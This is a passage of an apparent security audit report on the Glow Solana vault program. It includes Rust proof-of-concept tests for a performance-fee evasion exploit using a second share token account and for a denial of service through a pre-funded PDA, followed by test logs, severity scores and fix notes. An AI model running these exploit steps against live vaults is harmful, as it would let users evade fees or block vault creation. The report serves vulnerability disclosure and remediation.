135 send_and_confirm(&ctx.rpc(), &[boost_reserve], &[ctx.payer()]).await?;
136
137 let update_ix = vault_ix.update_vault_balances();
138 send_and_confirm(&ctx.rpc(), &[update_ix], &[]).await?;
139
140 let vault_state: Vault = get_anchor_account(&ctx.rpc(), &vault_ix.address).await?;
141 let clock = ctx.rpc().get_clock().await?;
142 let rate_at_start = vault_state.token_to_share_exchange_rate(clock.unix_timestamp)?;
143 println!("Vault rate after bootstrap: {rate_at_start}");
144
145 // =====
146 // Setup Alice (honest user) - deposits $30,000 USDC
147 // =====
148 let alice_wallet = ctx.create_wallet(5).await?;
149 let alice = alice_wallet.pubkey();
150
151 let alice_ata_ix = underlying_mint
152     .create_associated_token_account_idempotent(&alice, &ctx.payer().pubkey());
153 send_and_confirm(&ctx.rpc(), &[alice_ata_ix], &[]).await?;
154 let alice_underlying_ata = underlying_mint.associated_token_address(&alice);

```

```

155
156 let mint_alice = anchor_spl::token::spl_token::instruction::mint_to(
157     &anchor_spl::token::ID,
158     &underlying_mint.address,
159     &alice_underlying_ata,
160     &ctx.payer().pubkey(),
161     &[],
162     30_100_000_000, // $30,100 (extra for comparison)
163 )?;
164 send_and_confirm(&ctx.rpc(), &[mint_alice], &[ctx.payer()]).await?;
165
166 let alice_vault_user = vault_ix.derive_vault_user(&alice);
167 let alice_shares_ata_ix = vault_ix
168     .share_mint
169     .create_associated_token_account_idempotent(&alice_vault_user, &ctx.payer().pubkey());
170 send_and_confirm(&ctx.rpc(), &[alice_shares_ata_ix], &[]).await?;
171
172 // =====
173 // Setup Bob (attacker) – deposits $30,000 USDC
174 // =====
175 let bob_wallet = ctx.create_wallet(5).await?;
176 let bob = bob_wallet.pubkey();
177
178 let bob_ata_ix = underlying_mint
179     .create_associated_token_account_idempotent(&bob, &ctx.payer().pubkey());
180 send_and_confirm(&ctx.rpc(), &[bob_ata_ix], &[]).await?;
181 let bob_underlying_ata = underlying_mint.associated_token_address(&bob);
182
183 let mint_bob = anchor_spl::token::spl_token::instruction::mint_to(
184     &anchor_spl::token::ID,
185     &underlying_mint.address,
186     &bob_underlying_ata,
187     &ctx.payer().pubkey(),
188     &[],
189     30_100_000_000, // $30,100 (same as Alice)
190 )?;
191 send_and_confirm(&ctx.rpc(), &[mint_bob], &[ctx.payer()]).await?;
192
193 let bob_vault_user = vault_ix.derive_vault_user(&bob);
194 let bob_shares_ata_ix = vault_ix
195     .share_mint
196     .create_associated_token_account_idempotent(&bob_vault_user, &ctx.payer().pubkey());
197 send_and_confirm(&ctx.rpc(), &[bob_shares_ata_ix], &[]).await?;
198
199 // =====
200 // Step 1: Both deposit $30,000 at rate 1.2
201 // =====
202 let deposit_30k = 30_000_000_000u64; // $30,000 in 6-decimal USDC
203
204 let alice_deposit = vault_ix.deposit(
205     &ctx.payer().pubkey(),
206     &alice,
207     None,
208     TokenChange::shift(deposit_30k),
209 );
210 send_and_confirm(&ctx.rpc(), &[alice_deposit], &[ctx.payer(), &alice_wallet]).await?;
211
212 let bob_deposit = vault_ix.deposit(
213     &ctx.payer().pubkey(),
214     &bob,
215     None,
216     TokenChange::shift(deposit_30k),
217 );
218 send_and_confirm(&ctx.rpc(), &[bob_deposit], &[ctx.payer(), &bob_wallet]).await?;
219
220 // Verify both got ~25,000,000,000 shares ($30k / 1.2 rate)
221 let alice_vu_t0: VaultUser = get_anchor_account(&ctx.rpc(), &alice_vault_user).await?;
222 let bob_vu_t0: VaultUser = get_anchor_account(&ctx.rpc(), &bob_vault_user).await?;
223 println!("Alice shares after $30k deposit: {}", alice_vu_t0.total_shares);
224 println!("Bob shares after $30k deposit:   {}", bob_vu_t0.total_shares);
225 assert_eq!(alice_vu_t0.total_shares, bob_vu_t0.total_shares);
226
227 // =====
228 // Step 2: Vault appreciates from rate 1.2 → 1.4
229 // =====
230 let mint_appreciation = anchor_spl::token::spl_token::instruction::mint_to(
231     &anchor_spl::token::ID,
232     &underlying_mint.address,

```

```

233         &vault_ix.vault_reserve,
234         &ctx.payer().pubkey(),
235         &[],
236         appreciation,
237     )?;
238     send_and_confirm(&ctx.rpc(), &[mint_appreciation], &[ctx.payer()]).await?;
239
240     let update_ix = vault_ix.update_vault_balances();
241     send_and_confirm(&ctx.rpc(), &[update_ix], &[]).await?;
242
243     // Verify rate is ~1.4
244     let vault_state: Vault = get_anchor_account(&ctx.rpc(), &vault_ix.address).await?;
245     let clock = ctx.rpc().get_clock().await?;
246     let rate_after_appreciation = vault_state.token_to_share_exchange_rate(clock.unix_timestamp);
247     println!("Vault rate after appreciation: {rate_after_appreciation}");
248
249     // =====
250     // Step 3: Bob's exploit - $100 dust deposit through a fresh TA2
251     // =====
252     // Bob creates a second token account owned by his VaultUser PDA
253     let bob_ta2 = ctx
254         .tokens()
255         .create_account(vault_ix.share_mint, &bob_vault_user)
256         .await?;
257
258     // Bob deposits $100 through TA2 (the exploit)
259     let dust_deposit = 100_000_000u64; // $100 in 6-decimal USDC
260     let bob_exploit_deposit = build_deposit_with_custom_share_account(
261         &vault_ix,
262         &ctx.payer().pubkey(),
263         &bob,
264         &bob_ta2,
265         TokenChange::shift(dust_deposit),
266     );
267     send_and_confirm(&ctx.rpc(), &[bob_exploit_deposit], &[ctx.payer(), &bob_wallet]).await?;
268
269     // Alice also deposits $100 normally (to keep amounts identical)
270     let alice_extra = vault_ix.deposit(
271         &ctx.payer().pubkey(),
272         &alice,
273         None,
274         TokenChange::shift(dust_deposit),
275     );
276     send_and_confirm(&ctx.rpc(), &[alice_extra], &[ctx.payer(), &alice_wallet]).await?;
277
278     // =====
279     // Step 4: Accrue performance fees
280     // =====
281     let clock = ctx.rpc().get_clock().await?;
282     let new_ts = clock.unix_timestamp + 29 * 24 * 3600;
283     ctx.solana.context_mut().await.warp_to_timestamp(new_ts).await?;
284
285     let update_ix = vault_ix.update_vault_balances();
286     send_and_confirm(&ctx.rpc(), &[update_ix], &[]).await?;
287
288     let accrue_alice = vault_ix.accrue_performance_fees(alice_vault_user);
289     send_and_confirm(&ctx.rpc(), &[accrue_alice], &[]).await?;
290
291     let accrue_bob = vault_ix.accrue_performance_fees(bob_vault_user);
292     send_and_confirm(&ctx.rpc(), &[accrue_bob], &[]).await?;
293
294     // Read state after accrual
295     let alice_vu: VaultUser = get_anchor_account(&ctx.rpc(), &alice_vault_user).await?;
296     let bob_vu: VaultUser = get_anchor_account(&ctx.rpc(), &bob_vault_user).await?;
297
298     let alice_watermark = Number128::from_bits(alice_vu.last_performance_fee_rate);
299     let bob_watermark = Number128::from_bits(bob_vu.last_performance_fee_rate);
300
301     // =====
302     // Step 5: Both withdraw ALL shares
303     // =====
304     let alice_shares = alice_vu.total_shares;
305     let bob_ata_shares = bob_vu.t0.total_shares; // shares in TA1 (from $30k deposit)
306     let bob_ta2_shares = bob_vu.total_shares - bob_ata_shares; // shares in TA2 (from $100 dep
307
308     let alice_balance_before = ctx.tokens().get_balance(&alice_underlying_ata).await?;
309     let bob_balance_before = ctx.tokens().get_balance(&bob_underlying_ata).await?;
310

```

```

311 // Alice: withdraw all shares (single withdrawal from ATA)
312 [
313     vault_ix.create_vault_pending_withdrawal(alice, alice),
314     vault_ix.initiate_withdrawal(alice, alice_shares, None),
315     vault_ix.execute_vault_withdrawal(alice, 0),
316 ]
317 .with_signer(&alice_wallet)
318 .send_and_confirm(&ctx.rpc())
319 .await?;
320
321 // Bob: first withdrawal – shares from ATA (TA1)
322 [
323     vault_ix.create_vault_pending_withdrawal(bob, bob),
324     vault_ix.initiate_withdrawal(bob, bob_ata_shares, None),
325     vault_ix.execute_vault_withdrawal(bob, 0),
326 ]
327 .with_signer(&bob_wallet)
328 .send_and_confirm(&ctx.rpc())
329 .await?;
330
331 // Bob: second withdrawal – shares from TA2
332 let bob_initiate_ta2 = build_initiate_withdrawal_with_custom_share_account(
333     &vault_ix,
334     &bob,
335     &bob_ta2,
336     bob_ta2_shares,
337 );
338 [bob_initiate_ta2]
339     .with_signer(&bob_wallet)
340     .send_and_confirm(&ctx.rpc())
341     .await?;
342
343 [vault_ix.execute_vault_withdrawal(bob, 0)]
344     .with_signer(&bob_wallet)
345     .send_and_confirm(&ctx.rpc())
346     .await?;
347
348 // Final balances
349 let alice_balance_after = ctx.tokens().get_balance(&alice_underlying_ata).await?;
350 let bob_balance_after = ctx.tokens().get_balance(&bob_underlying_ata).await?;
351
352 let alice_received = alice_balance_after - alice_balance_before;
353 let bob_received = bob_balance_after - bob_balance_before;
354
355 // Read final vault state
356 let vault: Vault = get_anchor_account(&ctx.rpc(), &vault_ix.address).await?;
357
358 // =====
359 // Results
360 // =====
361 let alice_fees = alice_vu.accrued_performance_fees;
362 let bob_fees = bob_vu.accrued_performance_fees;
363
364 println!("{}", "=====");
365 println!("{}", "    PERFORMANCE FEE EVASION POC – $30,000 USDC SCENARIO    ");
366 println!("{}", "=====");
367 println!();
368 println!("Vault config: 50% performance fee, rate 1.2 → 1.4");
369 println!();
370 println!("— Alice (honest) —");
371 println!("  Deposited:      $30,100 (${} + {} extra)",
372     deposit_30k / 1_000_000, dust_deposit / 1_000_000);
373 println!("  Total shares:   {}", alice_vu.total_shares);
374 println!("  Watermark:      {alice_watermark}");
375 println!("  Accrued fees:   {} (${: .2})", alice_fees, alice_fees as f64 / 1_000_000.0);
376 println!("  Received:       {} (${: .2})", alice_received, alice_received as f64 / 1_000_000.0);
377 println!();
378 println!("— Bob (attacker: $100 dust deposit through fresh TA2) —");
379 println!("  Deposited:      $30,100 (${} + {} via TA2)",
380     deposit_30k / 1_000_000, dust_deposit / 1_000_000);
381 println!("  Total shares:   {}", bob_vu.total_shares);
382 println!("  Watermark:      {bob_watermark}");
383 println!("  Accrued fees:   {} (${: .2})", bob_fees, bob_fees as f64 / 1_000_000.0);
384 println!("  Received:       {} (${: .2})", bob_received, bob_received as f64 / 1_000_000.0);
385 println!();
386 println!("— Impact —");
387 println!("  Alice fees paid:      ${: .2}", alice_fees as f64 / 1_000_000.0);
388 println!("  Bob fees paid:        ${: .2}", bob_fees as f64 / 1_000_000.0);

```

```

389 println!("Bob extra profit:      ${:.2}", (bob_received - alice_received) as f64 / 1_000_000.0);
390 println!("Protocol revenue lost:   ${:.2}", alice_fees as f64 / 1_000_000.0);
391 println!();
392 if bob_fees == 0 && alice_fees > 0 {
393     println!("    *** Bob evaded ALL performance fees. Cost: $100 deposit + 0.002 SOL rent *
394 }
395 println!("Vault realised_performance_fees: {}", vault.realised_performance_fees);
396 println!("{}", vault.realised_performance_fees);
397
398 // =====
399 // Assertions
400 // =====
401
402 // Both deposited the same total amount → same shares
403 assert_eq!(alice_vu.total_shares, bob_vu.total_shares, "Same deposits → same shares");
404
405 // Alice paid fees, Bob did not
406 assert!(alice_fees > 0, "Alice should owe performance fees");
407 assert_eq!(bob_fees, 0, "Bob evaded all fees via watermark manipulation");
408
409 // Bob received more than Alice
410 assert!(
411     bob_received > alice_received,
412     "Bob received ${:.2} > Alice's ${:.2}",
413     bob_received as f64 / 1_000_000.0,
414     alice_received as f64 / 1_000_000.0
415 );
416
417 // Bob's watermark is absurdly above the current rate
418 let current_rate = rate_after_appreciation;
419 assert!(
420     bob_watermark > current_rate,
421     "Bob's watermark ({bob_watermark}) > current rate ({current_rate}) – fee evasion prove
422 );
423
424 Ok(())
425 }
426
427 /// Build an initiate_withdrawal instruction that pulls shares from a custom token account.
428 fn build_initiate_withdrawal_with_custom_share_account(
429     vault_ix: &VaultIxBuilder,
430     withdrawer: &Pubkey,
431     share_token_account: &Pubkey,
432     shares: u64,
433 ) -> Instruction {
434     use anchor_lang::InstructionData;
435
436     let vault_user = vault_ix.derive_vault_user(withdrawer);
437
438     let accounts = vec![
439         AccountMeta::new_readonly(*withdrawer, true),
440         AccountMeta::new(vault_ix.address, false),
441         AccountMeta::new(vault_ix.derive_pending_withdrawals(withdrawer), false),
442         AccountMeta::new(vault_ix.share_mint.address, false),
443         AccountMeta::new(*share_token_account, false),
444         AccountMeta::new(vault_ix.vault_pending_withdrawals_custody, false),
445         AccountMeta::new_readonly(vault_ix.share_mint.token_program(), false),
446         AccountMeta::new(vault_user, false),
447         // epoch_tracker: None → Anchor expects the program ID as placeholder
448         AccountMeta::new_readonly(glow_vault::ID, false),
449         AccountMeta::new_readonly(vault_ix.vault_reserve, false),
450     ];
451
452     Instruction {
453         program_id: glow_vault::ID,
454         accounts,
455         data: glow_vault::instruction::InitiateVaultWithdrawal { shares }.data(),
456     }
457 }
458
459 /// Build a deposit instruction with a custom share_token_account (instead of the default ATA)
460 fn build_deposit_with_custom_share_account(
461     vault_ix: &VaultIxBuilder,
462     payer: &Pubkey,
463     depositor: &Pubkey,
464     share_token_account: &Pubkey,
465     token_change: TokenChange,
466 ) -> Instruction {

```


Recommendation

To address this finding, it is recommended to use `vault_user.total_shares + deposit_shares` as the denominator in the weighted-average watermark formula instead of reading from the token account balance. Additionally, constraining the share token account to be the canonical ATA would prevent deposits through arbitrary token accounts entirely.

Remediation Comment

SOLVED: The `Glow` team resolved this finding by constraining the share token account to be the canonical ATA. This will prevent deposits through arbitrary token accounts entirely.

Remediation Hash

383ac21fcffa6cbd24cca986a26733e90ac15704, dddf5615096eca5f9d1aad97cc00b34872d0bf6f

7.4 INSTANT LIQUIDATION DOES NOT RECORD PERFORMANCE FEES

// LOW

Description

The `execute_vault_withdrawal_handler` instruction allows users to execute matured pending withdrawals, burning escrowed shares and transferring underlying tokens to the withdrawer. The instruction withholds performance fees proportional to the withdrawal amount, adds them to `vault.realised_performance_fees`, and restores `vault.deposit_tokens` with the withheld amount to ensure the vault's accounting. The `margin_instant_vault_liquidation_handler` instruction performs a similar operation during margin account liquidation, consuming pending withdrawals and withholding performance fees from the gross withdrawal amount.

However, the `margin_instant_vault_liquidation_handler` only decrements `vault.uncollected_performance_fees` after withholding fees but fails to increment `vault.realised_performance_fees` or restore `vault.deposit_tokens` with the withheld amount. Since `decrease_vault` subtracts the gross token amount from `deposit_tokens`, but only the net amount (minus fees) actually leaves the vault reserve, the withheld fees remain in the reserve without being accounted for in `realised_performance_fees`.

As a result, on the next `update_vault_balances` call, the untracked withheld fees are absorbed back into the exchange rate formula $(\text{deposit_tokens} - \text{management_fees} - \text{realised_performance_fees}) / \text{deposit_shares}$, effectively redistributing protocol revenue to remaining depositors as a windfall. The protocol permanently loses those fees with each instant liquidation.

[programs/vault/src/instructions/user/execute_vault_withdrawal.rs](#)

 Copy Code

```
232 // Because we are collecting the performance fees, we should update the vault's
233 // realised performance fees.
234 {
235     let vault = &mut ctx.accounts.vault.load_mut()?;
236     vault.realised_performance_fees = vault
237         .realised_performance_fees
238         .checked_add(performance_fees_to_withhold)
239         .ok_or(crate::ErrorCode::Overflow)?;
240
241     vault.uncollected_performance_fees = vault
242         .uncollected_performance_fees
243         .saturating_sub(performance_fees_to_withhold);
244
245     if performance_fees_to_withhold > 0 {
246         // `decrease_vault` already subtracted the gross withdrawal amount, but the
247         // withheld performance fees never leave the vault. Add them back so the vault's
248         // accounting continues to reflect the actual tokens under management.
249         vault.deposit_tokens = vault
250             .deposit_tokens
251             .checked_add(performance_fees_to_withhold)
252             .ok_or(crate::ErrorCode::Overflow)?;
253     }
254 }
```

```

209     let gross_withdrawal_tokens = vault.decrease_vault(shares_to_withdraw, timestamp)?;
210     let performance_fees_to_withhold = compute_performance_fee_withholding(
211         gross_withdrawal_tokens,
212         shares_to_withdraw,
213         total_tokens_before,
214         total_shares_before,
215         accrued_fees,
216     )?;
217     let net_withdrawal_tokens =
218         gross_withdrawal_tokens.saturating_sub(performance_fees_to_withhold);
219
220     let shares_from_free = shares_to_withdraw.min(available_free_shares);
221     let shares_from_pending = shares_to_withdraw.saturating_sub(shares_from_free);
222
223     vault_user.total_shares = vault_user
224         .total_shares
225         .checked_sub(shares_to_withdraw)
226         .ok_or(crate::ErrorCode::Underflow)?;
227     vault_user.accrued_performance_fees = vault_user
228         .accrued_performance_fees
229         .saturating_sub(performance_fees_to_withhold);
230
231     if shares_from_pending > 0 {
232         vault_user.pending_withdrawal_shares = vault_user
233             .pending_withdrawal_shares
234             .checked_sub(shares_from_pending)
235             .ok_or(crate::ErrorCode::Underflow)?;
236         consume_pending_withdrawals(
237             &mut ctx.accounts.pending_withdrawals,
238             shares_from_pending,
239         )?;
240     }
241
242     if performance_fees_to_withhold > 0 {
243         vault.uncollected_performance_fees = vault
244             .uncollected_performance_fees
245             .checked_sub(performance_fees_to_withhold)
246             .ok_or(crate::ErrorCode::Underflow)?;
247     }
248     (shares_from_free, shares_from_pending, net_withdrawal_tokens)

```

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:N/I:M/D:M/Y:C (2.5)

Recommendation

To address this finding, it is recommended to increment `vault.realised_performance_fees` and restore `vault.deposit_tokens` with the withheld performance fee amount in `margin_instant_vault_liquidation_handler`, matching the accounting treatment in `execute_vault_withdrawal_handler`.

Remediation Comment

SOLVED: The `Glow` team resolved this finding by entirely removing the margin vault integration. Full margin vault integration may be added in future releases.

Remediation Hash

b3cdc472f04b7be372e676aba9a3e53a7619ff3c

7.5 PDA PRE-FUNDING DOS BLOCKS VAULT CREATION AND LOCKED DEPOSITS

// LOW

Description

The `create_token_account` utility function initializes PDA-derived token accounts by calling `system_program::create_account` with the computed rent-exempt lamports and space. This is used during vault creation (`vault_reserve` and `vault_pending_withdrawals_custody`) and during the first locked deposit on a transferable vault (`vault_pending_deposits_custody`).

However, `create_token_account` does not correctly handle the case where the target account is already pre-funded. Since all affected custody PDAs are derived from deterministic seeds with no variable component, an attacker can front-run vault initialization by transferring a minimal lamport balance to the PDA address before the legitimate instruction executes. This causes `create_vault` and `deposit_to_transferable_vault` (locked flow) to fail, resulting in a permanent denial of service.

[programs/vault/src/instructions/admin/create_vault.rs](#)

 Copy Code

```
159 let vault_operator = &mut ctx.accounts.vault_operator.load_init()?;
160 vault_operator.vault = ctx.accounts.vault.key();
161 vault_operator.admin = ctx.accounts.permit.owner;
162 vault_operator.positions = Default::default();
163
164 // Manually create token accounts to avoid stack issues
165 crate::utils::tokens::create_token_account(
166     ctx.accounts.payer.to_account_info(),
167     ctx.accounts.vault_reserve.to_account_info(),
168     ctx.accounts.underlying_mint.to_account_info(),
169     ctx.accounts.vault.to_account_info(),
170     ctx.accounts.underlying_mint_token_program.to_account_info(),
171     ctx.accounts.system_program.to_account_info(),
172     &[&[
173         VAULT_UNDERLYING_RESERVE_SEED,
174         ctx.accounts.vault.key().as_ref(),
175         &[ctx.bumps.vault_reserve][..],
176     ]],
177 )?;
178
179 crate::utils::tokens::create_token_account(
180     ctx.accounts.payer.to_account_info(),
181     ctx.accounts
182         .vault_pending_withdrawals_custody
183         .to_account_info(),
184     ctx.accounts.vault_share_mint.to_account_info(),
185     ctx.accounts.vault.to_account_info(),
186     ctx.accounts.vault_mint_token_program.to_account_info(),
187     ctx.accounts.system_program.to_account_info(),
188     &[&[
189         VAULT_PENDING_WITHDRAWALS_CUSTODY_SEED,
190         ctx.accounts.vault.key().as_ref(),
191         &[ctx.bumps.vault_pending_withdrawals_custody][..],
192     ]],
193 )?;
194
195 emit!(VaultCreated {
196     address: ctx.accounts.vault.key(),
197     underlying_mint,
198     underlying_mint_decimals: ctx.accounts.underlying_mint.decimals,
199     authority,
200     airspace,
201     operator: ctx.accounts.permit.owner,
```

```

202     oracle_authority,
203     vault_index,
204     vault_reserve,
205     vault_redemption_reserve,
206     vault_share_mint,
207 });

```

[programs/vault/src/instructions/user/deposit_transferable.rs](#)

 Copy Code

```

224 if custody_info.data_len() == 0 {
225     tokens::create_token_account(
226         ctx.accounts.payer.to_account_info(),
227         custody_info.clone(),
228         ctx.accounts.share_mint.to_account_info(),
229         ctx.accounts.vault.to_account_info(),
230         share_token_program.clone(),
231         ctx.accounts.system_program.to_account_info(),
232         &[
233             VAULT_PENDING_DEPOSITS_CUSTODY_SEED,
234             vault_key.as_ref(),
235             &[custody_bump],
236         ],
237     )?;
238 }

```

[programs/vault/src/instructions/user/deposit_transferable.rs](#)

 Copy Code

```

208 let custody_unchecked = ctx
209     .accounts
210     .vault_pending_deposits_custody
211     .as_ref()
212     .ok_or(crate::ErrorCode::InvalidAccount)?;
213 let custody_info = custody_unchecked.to_account_info();
214
215 // Anchor has already verified the custody key via the seeds constraint.
216 // Retrieve the canonical bump from ctx.bumps (uses create_program_address, not find).
217 let vault_key = ctx.accounts.vault.key();
218 let custody_bump = ctx
219     .bumps
220     .vault_pending_deposits_custody
221     .ok_or(crate::ErrorCode::InvalidAccount)?;
222
223 // Lazily initialize the custody token account if it doesn't exist yet
224 if custody_info.data_len() == 0 {
225     tokens::create_token_account(
226         ctx.accounts.payer.to_account_info(),
227         custody_info.clone(),
228         ctx.accounts.share_mint.to_account_info(),
229         ctx.accounts.vault.to_account_info(),
230         share_token_program.clone(),
231         ctx.accounts.system_program.to_account_info(),
232         &[
233             VAULT_PENDING_DEPOSITS_CUSTODY_SEED,
234             vault_key.as_ref(),
235             &[custody_bump],
236         ],
237     )?;
238 }

```

Proof of Concept

```

1  #[tokio::test(flavor = "multi_thread")]
2  #[cfg_attr(not(feature = "localnet"), serial_test::serial)]
3  async fn dos_create_vault_via_prefunded_reserve_pda() -> Result<()> {
4      let ctx = margin_test_context!();
5
6      let authority = ctx.create_wallet(20).await?;
7      let authority_pk = authority.pubkey();
8      ctx.issue_permit(authority_pk).await?;
9      let underlying_mint = ctx.tokens().create_token(6, None, None, false).await?;
10
11     let vault_index: u8 = 42;
12
13     // Build the ix builder to derive the vault address (same derivation an attacker would do)
14     let vault_ix = VaultIxBuilder::new(
15         ctx.airspace_details.address,
16         MintInfo::with_legacy(underlying_mint.address),
17         authority_pk,
18         vault_index,
19         TokenPriceOracle::NoOracle,
20         glow_test_service::ID,
21     );
22
23     // Derive the vault_reserve PDA that create_vault will try to create
24     // let vault_reserve_pda = Pubkey::find_program_address(
25     //     &[VAULT_UNDERLYING_RESERVE_SEED, vault_ix.address.as_ref()],
26     //     &glow_vault::ID,
27     // );
28     // .0;
29
30     // Uncomment below to see the same DoS on vault_pending_withdrawals_custody instead:
31     let vault_reserve_pda = Pubkey::find_program_address(
32         &[VAULT_PENDING_WITHDRAWALS_CUSTODY_SEED, vault_ix.address.as_ref()],
33         &glow_vault::ID,
34     );
35     // .0;
36
37     // --- ATTACKER ACTION ---
38     // Send rent-exempt minimum to the vault_reserve PDA before the vault is created.
39     let attacker = ctx.create_wallet(5).await?;
40     let rent_exempt_minimum = ctx.rpc().get_minimum_balance_for_rent_exemption(0).await?;
41     let transfer_ix =
42         system_instruction::transfer(&attacker.pubkey(), &vault_reserve_pda, rent_exempt_minim
43     send_and_confirm(&ctx.rpc(), &[transfer_ix], &[&attacker]).await?;
44
45     // --- LEGITIMATE USER ACTION ---
46     // Attempt to create the vault - this should fail because the vault_reserve PDA
47     // already has lamports, causing system_program::create_account to reject it
48     // with "Create Account: account Address already in use".
49     let result = vault_ix
50         .create_vault(authority_pk)
51         .with_signer(&authority)
52         .send_and_confirm(&ctx.rpc())
53         .await;
54
55     assert!(
56         result.is_err(),
57         "create_vault should fail when vault_reserve PDA is pre-funded"
58     );
59
60     Ok(())
61 }
62
63 #[tokio::test(flavor = "multi_thread")]
64 #[cfg_attr(not(feature = "localnet"), serial_test::serial)]
65 async fn dos_locked_deposit_via_prefunded_custody_pda() -> Result<()> {
66     let ctx = margin_test_context!();
67
68     let authority = ctx.create_wallet(20).await?;
69     let authority_pk = authority.pubkey();
70     ctx.issue_permit(authority_pk).await?;
71     let underlying_mint = ctx.tokens().create_token(6, None, None, false).await?;
72
73     // Use a unique vault_index to avoid collision with other tests
74     let vault_index: u8 = 43;
75
76

```

```

77 let vault_ix = VaultIxBuilder::new(
78     ctx.airspace_details.address,
79     MintInfo::with_legacy(underlying_mint.address),
80     authority_pk,
81     vault_index,
82     TokenPriceOracle::NoOracle,
83     glow_test_service::ID,
84 )
85 .with_transferable_legacy_shares();
86
87 // Create the vault successfully (reserve PDA is clean)
88 vault_ix
89     .create_vault(authority_pk)
90     .with_signer(&authority)
91     .send_and_confirm(&ctx.rpc())
92     .await?;
93
94 // Configure with DEPOSIT_TIME_LOCK_ENABLED (bit 4) + transferable + deposits + withdrawal
95 const TRANSFERABLE_LOCKED_FLAGS: u8 = 0b00011111;
96 vault_ix
97     .configure_vault(VaultConfig {
98         performance_fee: Some(0),
99         management_fee: Some(0),
100         vault_flags: Some(TRANSFERABLE_LOCKED_FLAGS),
101         deposit_limit: Some(u64::MAX),
102         withdrawal_limit: Some(u64::MAX),
103         withdrawal_waiting_period: Some(0),
104         vault_name: Some(*b"dos_locked_deposit_____"),
105         oracle: None,
106         minimum_deposit: Some(500_000),
107         minimum_shares_dust_threshold: Some(1_000),
108         deposit_delivery_lock_period: Some(120),
109         deposit_redemption_lock_period: Some(60),
110         ..Default::default()
111     })
112     .with_signer(&authority)
113     .send_and_confirm(&ctx.rpc())
114     .await?;
115
116 // Derive the pending_deposits_custody PDA (lazily created on first locked deposit)
117 let custody_pda = Pubkey::find_program_address(
118     &[VAULT_PENDING_DEPOSITS_CUSTODY_SEED, vault_ix.address.as_ref()],
119     &glow_vault::ID,
120 )
121 .0;
122
123 // --- ATTACKER ACTION ---
124 // Pre-fund the custody PDA with rent-exempt minimum for a zero-data account
125 let attacker = ctx.create_wallet(5).await?;
126 let rent_exempt_minimum = ctx.rpc().get_minimum_balance_for_rent_exemption(0).await?;
127 let transfer_ix =
128     system_instruction::transfer(&attacker.pubkey(), &custody_pda, rent_exempt_minimum);
129 send_and_confirm(&ctx.rpc(), &[transfer_ix], &[&attacker]).await?;
130
131 // --- LEGITIMATE USER ACTION ---
132 // Setup a user and attempt a locked deposit
133 let user_wallet = ctx.create_wallet(5).await?;
134 let user_address = user_wallet.pubkey();
135 let setup_ixs = vault_ix.create_transferable_user_accounts(ctx.payer().pubkey(), user_addr
136 send_and_confirm(&ctx.rpc(), &setup_ixs, &[]).await?;
137
138 // Fund user with underlying tokens
139 let user_underlying_ata = underlying_mint.associated_token_address(&user_address);
140 let mint_ix = anchor_spl::token::spl_token::instruction::mint_to(
141     &anchor_spl::token::ID,
142     &underlying_mint.address,
143     &user_underlying_ata,
144     &ctx.payer().pubkey(),
145     &[],
146     1_000_000,
147 )?;
148 send_and_confirm(&ctx.rpc(), &[mint_ix], &[ctx.payer()]).await?;
149
150 // Attempt locked deposit - should fail because custody PDA creation fails
151 let result = vault_ix
152     .deposit_transferable_with_lock(
153         &ctx.payer().pubkey(),
154         &user_address,

```

```

155     TokenChange::shift(500_000),
156 )
157 .with_signer(&user_wallet)
158 .send_and_confirm(&ctx.rpc())
159 .await;
160
161 assert!(
162     result.is_err(),
163     "Locked deposit should fail when custody PDA is pre-funded by attacker"
164 );
165
166 Ok(())
}

```

```

[2026-06-01T19:43:12.537116000Z DEBUG solana_runtime::message_processor::stable_log] Program 1111111111111111111111111111111111111111 success
[2026-06-01T19:43:12.537294000Z DEBUG solana_runtime::message_processor::stable_log] Program TokenkegQfeZyiNwAjbNbgKPFXCWuBvf9Ss623VQ5DA invoke [2]
[2026-06-01T19:43:12.537512000Z DEBUG solana_runtime::message_processor::stable_log] Program log: Instruction: InitializeAccount3
[2026-06-01T19:43:12.539378000Z DEBUG solana_runtime::message_processor::stable_log] Program TokenkegQfeZyiNwAjbNbgKPFXCWuBvf9Ss623VQ5DA consumed 4214 of 163984 compute units
[2026-06-01T19:43:12.539393000Z DEBUG solana_runtime::message_processor::stable_log] Program TokenkegQfeZyiNwAjbNbgKPFXCWuBvf9Ss623VQ5DA success
[2026-06-01T19:43:12.539703000Z DEBUG solana_runtime::message_processor::stable_log] Program 1111111111111111111111111111111111111111 invoke [2]
[2026-06-01T19:43:12.539715000Z DEBUG solana_runtime::message_processor::stable_log] Create Account: account Address { address: 4YUroL8oLbhozMMgaaHc7vehNwPNUh82mCD6a8AMvLid, base: None } already in use
[2026-06-01T19:43:12.539725000Z DEBUG solana_runtime::message_processor::stable_log] Program 1111111111111111111111111111111111111111 failed: custom program error: 0x0
[2026-06-01T19:43:12.541268000Z DEBUG solana_runtime::message_processor::stable_log] Program gvw1ybUe2JVEpjdWARK1PjZUVY5xdNUCRhu24tgYtxa consumed 43675 of 200000 compute units
[2026-06-01T19:43:12.541277000Z DEBUG solana_runtime::message_processor::stable_log] Program gvw1ybUe2JVEpjdWARK1PjZUVY5xdNUCRhu24tgYtxa failed: custom program error: 0x0
test vault_pda_dos::dos_create_vault_via_prefunded_reserve_pda ... ok

test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 99 filtered out; finished in 1.09s

```

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:C/I:N/D:N/Y:N (2.5)

Recommendation

To address this finding, it is recommended to verify if the mint accounts to be created are already funded. If yes, it is necessary to ensure sufficient balance for rent exemption, reallocate the account and assign to the correct program.

Remediation Comment

SOLVED: The **Glow** team resolved this finding by correctly handling initialization of pre-funded accounts.

Remediation Hash

fcdfe273ca3754bbcb2447cfddb9c2fe27014d14

7.6 NO INSTRUCTION EXISTS TO WITHDRAW ACCRUED PROTOCOL FEES FROM VAULT

// LOW

Description

The vault program tracks protocol revenue through two accounting fields `realised_performance_fees` (withheld during withdrawals) and `uncollected_management_fees` (accrued over time). Both are subtracted from the exchange rate numerator in `token_to_share_exchange_rate`, effectively reserving those tokens as protocol owned assets excluded from depositor value. The vault state includes a `fee_receiver` field designating the intended recipient.

However, no instruction exists to transfer these accrued fees from the `vault_reserve` token account to the `fee_receiver` address. As a result, fees accumulate indefinitely in `vault_reserve` with no mechanism to extract them.

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:N/I:N/D:N/Y:M (2.5)

Recommendation

